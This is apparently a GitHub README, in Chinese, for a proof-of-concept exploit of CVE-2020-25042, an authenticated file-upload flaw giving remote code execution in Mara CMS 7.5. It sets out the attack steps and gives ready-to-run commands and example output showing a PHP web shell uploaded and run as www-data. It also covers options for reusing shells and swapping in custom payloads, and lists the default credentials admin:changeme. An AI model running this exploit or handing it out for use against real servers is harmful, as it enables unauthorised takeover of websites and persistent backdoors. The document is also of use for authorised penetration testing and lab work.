Groppoxx/CVE-2020-25042-PoC
GitHub: Groppoxx/CVE-2020-25042-PoC
自动化利用Mara CMS 7.5认证文件上传漏洞实现远程代码执行的PoC。
Stars: 5 | Forks: 0
# CVE-2020-25042-PoC
针对 **Mara CMS 7.5** 中一个可导致远程代码执行的[**CVE-2020-25042**](https://nvd.nist.gov/vuln/detail/CVE-2020-25042)(经过身份验证的任意文件上传漏洞)的概念验证。
该脚本使用有效的 Mara CMS 管理员/经理账户登录,通过 `codebase/handler.php` 上传 PHP 负载,并通过上传的文件执行命令。
它还会尽可能重用现有的 shell,这样每次运行时就不会在目标系统上创建新的 PHP 文件。
## 功能概述
1. 检查预期的 shell 是否已存在并可重用。
2. 如果可重用,直接执行命令。
3. 如果不可重用,加载一个 CMS 页面并提取 `shash`。
4. 使用 `setsalt` 操作请求登录 salt。
5. 计算 Mara CMS 登录哈希。
6. 以有效用户身份进行身份验证。
7. 在 `codebase/dir.php?type=filenew` 打开上传流程。
8. 通过 `codebase/handler.php` 上传 PHP 命令负载。
9. 通过上传的 shell 执行 `--cmd` 参数指定的命令。
## 环境要求
```
Python 3.8+
pip install -r requirements.txt
```
必需的 Python 包:
```
requests
urllib3
```
## 快速开始
尖括号 `<>` 包裹的值是占位符。请用你自己的值替换它们,但不要包含 `<` 或 `>` 字符本身。
```
python3 cve_2020_25042.py \
--url \
--username \
--password '' \
--cmd whoami
```
### 占位符说明
```
# Target Mara CMS base URL. Example: http://target/cms
# Valid Mara CMS admin/manager username.
# Valid Mara CMS admin/manager password.
```
## 完整示例
```
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
```
示例输出:
```
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
```
## 重用现有 Shell
默认情况下,脚本使用一个稳定的 shell 名称:
```
mara-poc.php
```
在下一次运行时,它会进行检查:
```
http://target/cms/img/mara-poc.php
```
如果 shell 响应了预期的标记,脚本将跳过登录和上传步骤:
```
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
```
要重用之前以随机名称创建的 shell:
```
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
```
你也可以直接传入暴露的 shell 路径:
```
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
```
## 仅上传负载
上传负载但不执行命令:
```
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
```
## 可选参数
```
--page
Existing CMS page used to bootstrap login and extract shash. Default: lorem.php
--shell-name
PHP filename to upload or reuse. Default: mara-poc.php
--shell-url-path
Explicit shell path or URL to reuse.
Example: /cms/img/mara-poc.php
--payload-file
Upload a custom PHP payload instead of the default ?cmd= shell.
--destdir
Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.
--force-upload
Always login and upload, even if a reusable shell already exists.
--upload-only
Upload the payload but do not execute --cmd.
--only-final
Hide progress logs and print only command output.
--no-color
Disable ANSI colors.
--debug
Print request URLs and short handler response snippets.
```
## 注意事项
- 该漏洞利用需要一个经过身份验证的有效 Mara CMS 管理员或经理会话。
- 在未修改的测试安装中,Mara CMS 的默认凭据可能是 `admin:changeme`。
- 默认负载在执行命令前会打印 `MARA_CVE_2020_25042_OK` 标记。
- 在 Mara CMS 7.5 中观察到的默认上传位置是 `img/`。
- 尽可能使用 shell 重用功能,以避免在目标系统上留下大量 PHP 文件。
- 仅在需要覆盖或重新创建负载时使用 `--force-upload` 参数。
## 法律声明
此 PoC 旨在用于**经授权的安全测试**、实验环境和漏洞验证。
未经明确许可,请勿对任何系统使用。
标签:CISA项目, CVE-2020-25042, Mara CMS, shell管理, Web安全, 代码生成, 命令执行, 威胁模拟, 安全漏洞, 文件上传漏洞, 渗透测试工具, 编程工具, 网络信息收集, 自动化攻击, 自动化漏洞利用, 蓝队分析, 认证漏洞, 远程代码执行, 逆向工具